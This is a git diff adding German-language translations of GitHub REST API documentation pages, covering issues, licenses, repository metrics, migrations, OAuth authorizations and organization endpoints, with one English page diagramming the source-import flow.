+* {% data reusables.interactions.existing-user-limit-definition %} von der Interaktion mit deinen Repositorys.
+* {% data reusables.interactions.contributor-user-limit-definition %} von der Interaktion mit deinen Repositorys.
+* {% data reusables.interactions.collaborator-user-limit-definition %} von der Interaktion mit deinen Repositorys.
+
+Durch Festlegen des Interaktionslimits auf Benutzerebene werden alle Interaktionsbeschränkungen überschrieben, die für einzelne Repositorys im Besitz des Benutzers bzw. der Benutzerin festgelegt sind. Verwende stattdessen die [Repositoryinteraktionsendpunkte](#repository), um unterschiedliche Interaktionsgrenzwerte für einzelne Repositorys festzulegen, die dem Benutzer bzw. der Benutzerin gehören.
diff --git a/translations/de-DE/content/rest/issues/assignees.md b/translations/de-DE/content/rest/issues/assignees.md
new file mode 100644
index 0000000000..bb8b815cbe
--- /dev/null
+++ b/translations/de-DE/content/rest/issues/assignees.md
@@ -0,0 +1,23 @@
+---
+title: Issues zugewiesene Personen
+allowTitleToDifferFromFilename: true
+shortTitle: Assignees
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 7c53f5b2d64702f98f66796ee8084248686e1fb6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131309'
+---
+## Informationen zur API für Issues zugewiesene Personen
+
+Die API für Issues zugewiesene Personen unterstützt die Verwaltung zugewiesener Personen für Issues und Pull Requests. {% data reusables.pull_requests.issues-pr-shared-api %}
diff --git a/translations/de-DE/content/rest/issues/comments.md b/translations/de-DE/content/rest/issues/comments.md
new file mode 100644
index 0000000000..bea31957e7
--- /dev/null
+++ b/translations/de-DE/content/rest/issues/comments.md
@@ -0,0 +1,25 @@
+---
+title: Issue-Kommentare
+allowTitleToDifferFromFilename: true
+shortTitle: Comments
+intro: Die Issuekommentar-API unterstützt das Verwalten von Kommentaren zu Issues und Pull Requests.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 4ce15281238219701a999c56dd6b179b68fed9e2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147093022'
+---
+## Informationen zur Issuekommentar-API
+
+Die Issuekommentar-API unterstützt das Verwalten von Kommentaren zu Issues und Pull Requests. {% data reusables.pull_requests.issues-pr-shared-api %} Verwende für die Verwaltung von Reviewkommentaren zu Pull Requests stattdessen die [Reviewkommentar-API für Pull Requests](/rest/pulls/comments).
+
+{% data reusables.pull_requests.issues-media-types %}
diff --git a/translations/de-DE/content/rest/issues/events.md b/translations/de-DE/content/rest/issues/events.md
new file mode 100644
index 0000000000..8f5c0b5767
--- /dev/null
+++ b/translations/de-DE/content/rest/issues/events.md
@@ -0,0 +1,25 @@
+---
+title: Issueereignisse
+allowTitleToDifferFromFilename: true
+shortTitle: Events
+intro: 'Die Issueereignis-API kann verschiedene Arten von Ereignissen zurückgeben, die durch Aktivitäten in Issues und Pull Requests ausgelöst werden.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: ac884bef9931058f126ac875db65e99b8831657f
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876949'
+---
+## Informationen zur Issueereignis-API
+
+Die Issueereignis-API kann verschiedene Arten von Ereignissen zurückgeben, die durch Aktivitäten in Issues und Pull Requests ausgelöst werden. Weitere Informationen zu den spezifischen Ereignissen, die du über die Issueereignis-API erhalten kannst, findest du unter [Issueereignistypen](/developers/webhooks-and-events/issue-event-types). For more information about the specific events that you can receive from the Issue Events API, see "<a href="/developers/webhooks-and-events/issue-event-types">Issue event types</a>." Weitere Informationen findest du in der [Ereignis-API](/developers/webhooks-and-events/github-event-types).
+
+{% data reusables.pull_requests.issues-pr-shared-api %}
diff --git a/translations/de-DE/content/rest/issues/index.md b/translations/de-DE/content/rest/issues/index.md
new file mode 100644
index 0000000000..af27853eba
--- /dev/null
+++ b/translations/de-DE/content/rest/issues/index.md
@@ -0,0 +1,30 @@
+---
+title: Probleme
+intro: 'Mit der Issues-API kannst du Issues einschließlich Issuezuweisungen, Kommentaren, Bezeichnungen und Meilensteinen anzeigen und verwalten.'
+redirect_from:
+  - /v3/issues
+  - /rest/reference/issues
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /issues
+  - /assignees
+  - /comments
+  - /events
+  - /labels
+  - /milestones
+  - /timeline
+ms.openlocfilehash: db0d766e86a7a9a428a51b86f0703d2ec62f5bc8
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147065322'
+---
+
diff --git a/translations/de-DE/content/rest/issues/issues.md b/translations/de-DE/content/rest/issues/issues.md
new file mode 100644
index 0000000000..04df2fb12f
--- /dev/null
+++ b/translations/de-DE/content/rest/issues/issues.md
@@ -0,0 +1,21 @@
+---
+title: Issues
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 8d9d79c8f72199108dfbd1f3e2188d3956d06eeb
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882263'
+---
+## Informationen zur Issue-API
+
+{% data reusables.pull_requests.issues-media-types %}
diff --git a/translations/de-DE/content/rest/issues/labels.md b/translations/de-DE/content/rest/issues/labels.md
new file mode 100644
index 0000000000..705b95ec46
--- /dev/null
+++ b/translations/de-DE/content/rest/issues/labels.md
@@ -0,0 +1,21 @@
+---
+title: Bezeichnungen
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 60c6429a9e5ffc5a9dde298fa038699076eba5e3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145109263'
+---
+## Informationen zur API für Bezeichnungen
+
+Die API für Bezeichnungen unterstützt die Verwaltung von Bezeichnungen für ein Repository sowie das Hinzufügen oder Entfernen von Bezeichnungen zu bzw. von Issues und Pull Requests. {% data reusables.pull_requests.issues-pr-shared-api %}
diff --git a/translations/de-DE/content/rest/issues/milestones.md b/translations/de-DE/content/rest/issues/milestones.md
new file mode 100644
index 0000000000..9d3ac95a7e
--- /dev/null
+++ b/translations/de-DE/content/rest/issues/milestones.md
@@ -0,0 +1,19 @@
+---
+title: Meilensteine
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 5b95a68fa695f76194852e5347a36e535667ef24
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147063466'
+---
+
diff --git a/translations/de-DE/content/rest/issues/timeline.md b/translations/de-DE/content/rest/issues/timeline.md
new file mode 100644
index 0000000000..12483482d5
--- /dev/null
+++ b/translations/de-DE/content/rest/issues/timeline.md
@@ -0,0 +1,27 @@
+---
+title: Zeitachsenereignisse
+allowTitleToDifferFromFilename: true
+shortTitle: Timeline
+intro: 'Die API für Zeitachsenereignisse kann verschiedene Arten von Ereignissen zurückgeben, die durch Zeitachsenaktivität in Issues und Pull Requests ausgelöst werden.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: a9872cc5b4013a83f57c84753a19af6c9207ecde
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147061874'
+---
+## Informationen zur API für Zeitachsenereignisse
+
+Die API für Zeitachsenereignisse kann verschiedene Arten von Ereignissen zurückgeben, die durch Zeitachsenaktivität in Issues und Pull Requests ausgelöst werden. Weitere Informationen zu den spezifischen Ereignissen, die du über die Issue-Ereignis-API erhalten kannst, findest du unter [Issue-Ereignistypen](/developers/webhooks-and-events/issue-event-types). For more information about the specific events that you can receive from the Issue Events API, see "<a href="/developers/webhooks-and-events/issue-event-types">Issue event types</a>." Weitere Informationen findest du unter [GitHub-Ereignis-API](/developers/webhooks-and-events/github-event-types).
+
+Du kannst diese API verwenden, um Informationen zu Issues und Pull Requests anzuzeigen oder um zu bestimmen, wer über Issuekommentare benachrichtigt werden soll.
+
+{% data reusables.pull_requests.issues-pr-shared-api %}
diff --git a/translations/de-DE/content/rest/licenses.md b/translations/de-DE/content/rest/licenses.md
new file mode 100644
index 0000000000..3c4720b953
--- /dev/null
+++ b/translations/de-DE/content/rest/licenses.md
@@ -0,0 +1,42 @@
+---
+title: Lizenzen
+intro: Mit der Lizenzen-API kannst du beliebte Open Source-Lizenzen und Informationen zu der Lizenzdatei eines bestimmten Projekts abrufen.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/licenses
+ms.openlocfilehash: f6d229eb27764441ae040abaaca211b5a894e7ef
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064866'
+---
+## Informationen zur Lizenz-API
+
+Die Lizenz-API verwendet den [Open-Source-Lizenznehmer Ruby Gem](https://github.com/benbalter/licensee) für Versuche, die Lizenz des Projekts zu ermitteln. Der Lizenznehmer gleicht den Inhalt der `LICENSE`-Projektdatei (falls vorhanden) mit einer kurzen Liste bekannter Lizenzen ab. Die API berücksichtigt daher nicht die Lizenzen von Projektabhängigkeiten oder andere Mittel zum Dokumentieren der Lizenz eines Projekts, z. B. Verweise auf den Lizenznamen in der Dokumentation.
+
+Wenn eine übereinstimmende Lizenz gefunden wird, entsprechen der zurückgegebene Lizenzschlüssel und Lizenzname der [SPDX-Spezifikation](https://spdx.org/).
+
+**Hinweis:** Diese Endpunkte geben auch die Lizenzinformationen eines Repositorys zurück:
+
+- [Abrufen eines Repositorys](/rest/reference/repos#get-a-repository)
+- [Auflisten von Repositorys für einen Benutzer](/rest/reference/repos#list-repositories-for-a-user)
+- [Auflisten von Organisationsrepositorys](/rest/reference/repos#list-organization-repositories)
+- [Auflisten von Forks](/rest/reference/repos#list-forks)
+- [Auflisten von Repositorys, die von einem Benutzer überwacht werden](/rest/reference/activity#list-repositories-watched-by-a-user)
+- [Auflisten von Teamrepositorys](/rest/reference/teams#list-team-repositories)
+
+{% warning %}
+
+GitHub ist vieles, aber keine Anwaltskanzlei. Deshalb bietet GitHub keine Rechtsberatung an. Die Verwendung der Lizenz oder die E-Mail-Kommunikation zu dieser stellt keine Rechtsberatung dar und führt nicht zu einer Mandantsbeziehung. Wenn du Fragen zu den zulässigen und unzulässigen Aktionen mit einer bestimmten Lizenz hast, solltest du deine*n Rechtsberater*in konsultieren, bevor du fortfährst. Du solltest immer deinen Anwalt oder deine Anwältin konsultieren, bevor du Entscheidungen triffst, die rechtliche Auswirkungen haben oder sich auf deine Rechtsansprüche auswirken können.
+
+GitHub hat die Lizenz-API entwickelt, um Benutzer*innen über Open-Source-Lizenzen und die Projekte, bei denen diese Lizenzen verwendet werden, zu informieren. Wir hoffen, dass wir dir damit helfen. Bedenke aber bitte, dass wir (bzw. die meisten von uns) keine Juristen sind und wie alle Menschen Fehler machen können. Aus diesem Grund stellt GitHub die API wie vorliegend bereit und übernimmt keine Gewährleistung im Hinblick auf alle auf oder über GitHub bereitgestellten Informationen und Lizenzen. Außerdem lehnt GitHub jegliche Haftung für Schäden ab, die sich aus der Nutzung der API ergeben.
+
+{% endwarning %}
diff --git a/translations/de-DE/content/rest/markdown.md b/translations/de-DE/content/rest/markdown.md
new file mode 100644
index 0000000000..f833816f3d
--- /dev/null
+++ b/translations/de-DE/content/rest/markdown.md
@@ -0,0 +1,21 @@
+---
+title: Markdown
+intro: Mit der Markdown-API kannst du ein Markdown-Dokument als HTML-Seite oder Rohtext rendern.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/markdown
+ms.openlocfilehash: bfaee71757562122335b840f90db8ee5b8e01fdb
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883011'
+---
+
diff --git a/translations/de-DE/content/rest/meta.md b/translations/de-DE/content/rest/meta.md
new file mode 100644
index 0000000000..299eb7fdc1
--- /dev/null
+++ b/translations/de-DE/content/rest/meta.md
@@ -0,0 +1,21 @@
+---
+title: Meta
+intro: 'Die Meta-API liefert Metainformationen zu {% data variables.product.product_name %}, einschließlich der IP-Adressen von {% data variables.product.product_name %}-Diensten.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/meta
+ms.openlocfilehash: fb70e15f1a5ff34d63657c213589e4cc3e29d0f2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147065152'
+---
+
diff --git a/translations/de-DE/content/rest/metrics/community.md b/translations/de-DE/content/rest/metrics/community.md
new file mode 100644
index 0000000000..da85103c43
--- /dev/null
+++ b/translations/de-DE/content/rest/metrics/community.md
@@ -0,0 +1,19 @@
+---
+title: Communitymetriken
+shortTitle: Community
+allowTitleToDifferFromFilename: true
+intro: Mit der API für Communitymetriken kannst du Daten zu deinem Communityprofil abrufen.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 6be5fd5e046534d74f25328511e4e0ca1ecd6806
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065148'
+---
+
diff --git a/translations/de-DE/content/rest/metrics/index.md b/translations/de-DE/content/rest/metrics/index.md
new file mode 100644
index 0000000000..4de12a11b1
--- /dev/null
+++ b/translations/de-DE/content/rest/metrics/index.md
@@ -0,0 +1,27 @@
+---
+title: Metriken
+intro: 'Mit der API für Repositorymetriken kannst du das Communityprofil, Statistiken und den Datenverkehr für dein Repository abrufen.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /rest/reference/repository-metrics
+  - /rest/reference/metrics
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /community
+  - /statistics
+  - /traffic
+ms.openlocfilehash: 55b5b09c8032b7b749c19299e8a59ad47bbf4d68
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067202'
+---
+
diff --git a/translations/de-DE/content/rest/metrics/statistics.md b/translations/de-DE/content/rest/metrics/statistics.md
new file mode 100644
index 0000000000..6229637f0e
--- /dev/null
+++ b/translations/de-DE/content/rest/metrics/statistics.md
@@ -0,0 +1,37 @@
+---
+title: Repositorystatistiken
+shortTitle: Statistics
+allowTitleToDifferFromFilename: true
+intro: 'Mit der API für Repositorystatistiken kannst du die Daten abrufen, die {% data variables.product.product_name %} zum Visualisieren verschiedener Arten von Repositoryaktivitäten verwendet.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 74692780426dd848634bf18f16bacd3770da001c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066130'
+---
+## Informationen zur API für Repositorystatistiken
+
+Mit der API für Repositorystatistiken kannst du die Daten abrufen, die {% data variables.product.product_name %} zum Visualisieren verschiedener Arten von Repositoryaktivitäten verwendet.
+
+### Kurzer Hinweis zum Zwischenspeichern
+
+Das Berechnen von Repositorystatistiken ist ein teurer Vorgang, weshalb nach Möglichkeit immer versucht wird, zwischengespeicherte Daten zurückzugeben.  Wenn die Daten beim Abfragen der Statistiken für ein Repository nicht zwischengespeichert wurden, erhältst du eine `202`-Antwort. Zudem wird im Hintergrund ein Vorgang ausgelöst, um mit der Kompilierung dieser Statistiken zu beginnen. Warte einen Moment, bist der Auftrag abgeschlossen ist, und übermittle die Anforderung dann erneut. Wenn der Auftrag abgeschlossen ist, wird für diese Anforderung eine `200`-Antwort mit den Statistiken im Antworttext ausgegeben.
+
+Repositorystatistiken werden vom SHA des Standardbranchs des Repositorys zwischengespeichert. Durch das Pushen an den Standardbranch wird der Statistikcache zurückgesetzt.
+
+### Statistiken schließen einige Arten von Commits aus
+
+Die von der API verfügbar gemachten Statistiken stimmen mit den Statistiken überein, die von [verschiedenen Repositorydiagrammen](/github/visualizing-repository-data-with-graphs/about-repository-graphs) angezeigt werden.
+
+Zusammenfassung:
+- Alle Statistiken schließen Mergecommits aus.
+- Statistiken zu Mitwirkenden schließen auch leere Commits aus.
diff --git a/translations/de-DE/content/rest/metrics/traffic.md b/translations/de-DE/content/rest/metrics/traffic.md
new file mode 100644
index 0000000000..12c13ce3ef
--- /dev/null
+++ b/translations/de-DE/content/rest/metrics/traffic.md
@@ -0,0 +1,21 @@
+---
+title: Repositorydatenverkehr
+shortTitle: Traffic
+allowTitleToDifferFromFilename: true
+intro: Die Repositorydatenverkehr-API bietet Zugriff auf die Informationen in deinem Repositorygraphen.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: f5c0a08b5ebce24f89378d4e617895665ebc0c13
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064849'
+---
+## Informationen zur Repositorydatenverkehr-API
+
+Die Repositorydatenverkehr-API bietet für Repositorys, für die du über Pushzugriff verfügst, Zugriff auf die Informationen in deinem Repositorydiagramm. Weitere Informationen findest du unter [Anzeigen des Datenverkehrs zu einem Repository](/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository).
diff --git a/translations/de-DE/content/rest/migrations/index.md b/translations/de-DE/content/rest/migrations/index.md
new file mode 100644
index 0000000000..944e7248eb
--- /dev/null
+++ b/translations/de-DE/content/rest/migrations/index.md
@@ -0,0 +1,28 @@
+---
+title: Migrationen
+intro: 'Mit der Migrations-API kannst du die Repositorys und Benutzer deiner Organisation von {% data variables.product.prodname_dotcom_the_website %} zu {% data variables.product.prodname_ghe_server %} migrieren.'
+redirect_from:
+  - /v3/migrations
+  - /v3/migration
+  - /v3/migration/migrations
+  - /rest/reference/migrations
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.3'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /orgs
+  - /source-imports
+  - /users
+ms.openlocfilehash: 235ccd283aac32eb3586250d13bfec9c592f771b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066874'
+---
+
diff --git a/translations/de-DE/content/rest/migrations/orgs.md b/translations/de-DE/content/rest/migrations/orgs.md
new file mode 100644
index 0000000000..b490b97414
--- /dev/null
+++ b/translations/de-DE/content/rest/migrations/orgs.md
@@ -0,0 +1,25 @@
+---
+title: Organisationsmigrationen
+allowTitleToDifferFromFilename: true
+shortTitle: Organizations
+intro: ''
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.3'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 52b7ed6d516d1a042d6fbee2c388cc1953c1dc11
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883489'
+---
+## Informationen zur API für Organisationsmigrationen
+
+Die Migrations-API ist nur für authentifizierte Organisationsbesitzer verfügbar. Weitere Informationen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permission-levels-for-an-organization) und unter [Andere Authentifizierungsmethoden](/rest/overview/other-authentication-methods).
+
+{% data variables.migrations.organization_migrations_intro %}
diff --git a/translations/de-DE/content/rest/migrations/source-imports.md b/translations/de-DE/content/rest/migrations/source-imports.md
new file mode 100644
index 0000000000..0034ccd814
--- /dev/null
+++ b/translations/de-DE/content/rest/migrations/source-imports.md
@@ -0,0 +1,91 @@
+---
+title: Source imports
+intro: ''
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+## About the Source imports API
+
+{% data reusables.user-settings.imports-api-classic-pat-only %}
+
+{% data variables.migrations.source_imports_intro %} A typical source import would start the import and then (optionally) update the authors and/or update the preference for using Git LFS if large files exist in the import. You can also create a webhook that listens for the [`RepositoryImportEvent`](/developers/webhooks-and-events/webhook-events-and-payloads#repository_import) to find out the status of the import.
+
+A more detailed example can be seen in this diagram:
+
+```
++---------+                     +--------+                              +---------------------+
+| Tooling |                     | GitHub |                              | Original Repository |
++---------+                     +--------+                              +---------------------+
+     |                              |                                              |
+     |  Start import                |                                              |
+     |----------------------------->|                                              |
+     |                              |                                              |
+     |                              |  Download source data                        |
+     |                              |--------------------------------------------->|
+     |                              |                        Begin streaming data  |
+     |                              |<---------------------------------------------|
+     |                              |                                              |
+     |  Get import progress         |                                              |
+     |----------------------------->|                                              |
+     |       "status": "importing"  |                                              |
+     |<-----------------------------|                                              |
+     |                              |                                              |
+     |  Get commit authors          |                                              |
+     |----------------------------->|                                              |
+     |                              |                                              |
+     |  Map a commit author         |                                              |
+     |----------------------------->|                                              |
+     |                              |                                              |
+     |                              |                                              |
+     |                              |                       Finish streaming data  |
+     |                              |<---------------------------------------------|
+     |                              |                                              |
+     |                              |  Rewrite commits with mapped authors         |
+     |                              |------+                                       |
+     |                              |      |                                       |
+     |                              |<-----+                                       |
+     |                              |                                              |
+     |                              |  Update repository on GitHub                 |
+     |                              |------+                                       |
+     |                              |      |                                       |
+     |                              |<-----+                                       |
+     |                              |                                              |
+     |  Map a commit author         |                                              |
+     |----------------------------->|                                              |
+     |                              |  Rewrite commits with mapped authors         |
+     |                              |------+                                       |
+     |                              |      |                                       |
+     |                              |<-----+                                       |
+     |                              |                                              |
+     |                              |  Update repository on GitHub                 |
+     |                              |------+                                       |
+     |                              |      |                                       |
+     |                              |<-----+                                       |
+     |                              |                                              |
+     |  Get large files             |                                              |
+     |----------------------------->|                                              |
+     |                              |                                              |
+     |  opt_in to Git LFS           |                                              |
+     |----------------------------->|                                              |
+     |                              |  Rewrite commits for large files             |
+     |                              |------+                                       |
+     |                              |      |                                       |
+     |                              |<-----+                                       |
+     |                              |                                              |
+     |                              |  Update repository on GitHub                 |
+     |                              |------+                                       |
+     |                              |      |                                       |
+     |                              |<-----+                                       |
+     |                              |                                              |
+     |  Get import progress         |                                              |
+     |----------------------------->|                                              |
+     |        "status": "complete"  |                                              |
+     |<-----------------------------|                                              |
+     |                              |                                              |
+     |                              |                                              |
+```
diff --git a/translations/de-DE/content/rest/migrations/users.md b/translations/de-DE/content/rest/migrations/users.md
new file mode 100644
index 0000000000..ce1263fca1
--- /dev/null
+++ b/translations/de-DE/content/rest/migrations/users.md
@@ -0,0 +1,29 @@
+---
+title: Benutzermigrationen
+allowTitleToDifferFromFilename: true
+shortTitle: Users
+intro: ''
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.3'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 500f1c4d73dc3bab613641072387e42d5f8894d4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145109216'
+---
+## Informationen zur API für Benutzermigrationen
+
+Die API für Benutzermigrationen ist nur für authentifizierte Kontobesitzer*innen verfügbar. Weitere Informationen findest du unter [Andere Authentifizierungsmethoden](/rest/overview/other-authentication-methods).
+
+{% data variables.migrations.user_migrations_intro %} Eine Liste der Migrationsdaten, die du herunterladen kannst, findest du unter [Herunterladen eines Benutzermigrationsarchivs](#download-a-user-migration-archive).
+
+Um ein Archiv herunterladen zu können, musst du zuerst eine Benutzermigration starten. Sobald der Status der Migration `exported` lautet, kannst du die Migration herunterladen.
+
+Nachdem du ein Migrationsarchiv erstellt hast, steht es sieben Tage für den Download bereit. Du kannst das Benutzermigrationsarchiv bei Bedarf jedoch auch früher löschen. Nach dem Export der Migration (`exported`) kannst du dein Repository entsperren, um das Repository erneut zu verwenden oder zu löschen, wenn du die Quelldaten nicht mehr benötigst.
diff --git a/translations/de-DE/content/rest/oauth-authorizations.md b/translations/de-DE/content/rest/oauth-authorizations.md
new file mode 100644
index 0000000000..5cb58bc9e3
--- /dev/null
+++ b/translations/de-DE/content/rest/oauth-authorizations.md
@@ -0,0 +1,22 @@
+---
+title: OAuth-Autorisierungen
+intro: Mit den OAuth-Autorisierungen kannst du die Zugriffs-OAuth-Anwendungen auf deinem Konto verwalten.
+versions:
+  ghes: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/oauth-authorizations
+ms.openlocfilehash: 7a690b1e874179496c80c4a235e61727b5f72a91
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147444669'
+---
+## Informationen zur API für die OAuth-Autorisierung
+
+Du kannst diese API verwenden, um den Zugriff zu verwalten, über den OAuth-Anwendungen für dein Konto verfügen. Du kannst auf diese API nur über die [Standardauthentifizierung](/rest/overview/other-authentication-methods#basic-authentication) anhand deines Benutzernamens und Kennworts und nicht über Token zugreifen.
+
+Wenn für dich oder deine Benutzer die zweistufige Authentifizierung aktiviert ist, stelle sicher, dass dir die [Arbeit mit der zweistufigen Authentifizierung](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) vertraut ist.
diff --git a/translations/de-DE/content/rest/orgs/blocking.md b/translations/de-DE/content/rest/orgs/blocking.md
new file mode 100644
index 0000000000..4bbde70761
--- /dev/null
+++ b/translations/de-DE/content/rest/orgs/blocking.md
@@ -0,0 +1,18 @@
+---
+title: Blockieren von Benutzern
+intro: ''
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 1649cc0627ed55be5317e0606bb29287dbd3d94a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065786'
+---
+Das Token, das zum Authentifizieren des Aufrufs verwendet wird, muss den `admin:org`-Bereich aufweisen, um blockierender Aufrufe für eine Organisation vorzunehmen. Andernfalls gibt die Antwort `HTTP 404` zurück.
diff --git a/translations/de-DE/content/rest/orgs/custom-roles.md b/translations/de-DE/content/rest/orgs/custom-roles.md
new file mode 100644
index 0000000000..f7d9e18aea
--- /dev/null
+++ b/translations/de-DE/content/rest/orgs/custom-roles.md
@@ -0,0 +1,21 @@
+---
+title: Benutzerdefinierte Repositoryrollen
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /rest/orgs/custom_roles
+ms.openlocfilehash: da22cb688dd7c91d2ae72b56a17adb813a57429b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884461'
+---
+
